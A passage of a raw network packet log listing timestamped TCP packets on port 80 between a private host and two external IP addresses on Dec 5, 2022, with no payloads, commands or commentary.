Dec 5, 2022 06:44:36.544362068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544379950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544414997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544435978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544455051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544471025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544487953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544493914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544506073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544507027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544524908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544562101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544588089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544605970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544622898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544640064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544645071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544656038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544658899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544677019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544693947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544709921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544713020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544727087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544734955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544744015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544759989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544771910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544778109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544795036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544795036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544814110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544830084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544847012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544847965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544871092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544871092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544889927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544908047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544924974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544928074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544945955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544949055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.544964075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544981003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.544996977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545000076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545015097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545022964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545032024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545048952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545056105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545067072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545084000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545101881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545104027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545120955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545124054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545140982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545157909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545176029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545177937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545192957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545197964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545211077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545227051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545233965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545245886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545263052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545279980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545280933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545298100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545305014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545315981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545334101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545351028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545353889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545368910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545377016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545386076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545403004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545408010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545419931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545438051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545454025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545459032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545470953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545484066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545489073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545506954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545507908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545526028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545542955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545547009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545561075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545577049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545583963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545594931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545610905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545614004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545628071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545644045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545653105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545661926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545679092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545684099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545696974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545713902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545731068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545732021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545748949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545754910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545767069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545783997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545788050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545803070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545819044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545836926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545838118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545854092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545861006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545871973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545887947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545892000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545905113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545921087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545937061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545939922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545953989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545960903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.545973063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545989037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.545994043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546006918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546024084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546040058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546042919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546058893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546066046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546077013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546093941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546097040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546112061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546128035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546144962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546149015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546163082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546168089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546180010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546195984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546202898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546212912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546230078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546247959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546247959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546266079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546267986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546283960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546299934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546315908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546328068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546333075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546339035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546351910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546367884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546372890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546386003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546402931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546420097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546422005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546438932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546446085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546457052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546474934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546477079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546492100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546500921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546509027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546513081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546526909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546542883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546550989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546561956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546577930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546582937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546595097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546612024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546621084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546628952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546646118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546653032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546664000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546679974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546695948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546700001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546714067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546721935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546730995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546747923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546756983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546765089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546782970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546792030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546801090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546818972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546821117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546837091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546853065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546857119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546870947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546890974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546900034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546917915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546932936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546950102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546953917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546967983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.546976089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.546986103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547003031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547008038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547020912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547038078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547055006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547058105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547071934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547080040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547091007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547107935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547111034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547126055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547146082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547163010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547166109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547179937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547185898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547199011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547214985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547230959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547236919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547249079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547257900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547266006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547282934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547292948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547301054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547317982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547327995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547336102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547352076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547357082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547369957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547386885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547403097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547408104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547420025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547432899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547437906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547456026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547456026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547475100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547491074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547496080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547509909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547527075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547544003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547547102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547563076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547568083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547580957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547597885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547614098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547619104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547631979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547641993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547648907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547666073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547673941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547683001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547699928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547713041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.547719955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.547744036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.552794933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.552978039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:42.068418026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:42.070486069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.086849928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:42.086939096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:42.233906031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.234198093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.234831095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.400403023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400604963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400652885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400686026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400727034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400762081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.400767088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400796890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400830030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.400839090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400883913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400913000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400944948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.400954008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.400999069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.401034117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.401062012 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.401074886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.401118040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.401148081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.401182890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.563736916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563810110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563843966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563885927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563927889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563957930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.563957930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564007044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564011097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564055920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564085007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564125061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564138889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564167023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564196110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564235926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564245939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564279079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564308882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564351082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564361095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564393044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564421892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564464092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564470053 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:42.564506054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:42.564534903 CET	80	49705	104.193.254.97	192.168.2.3
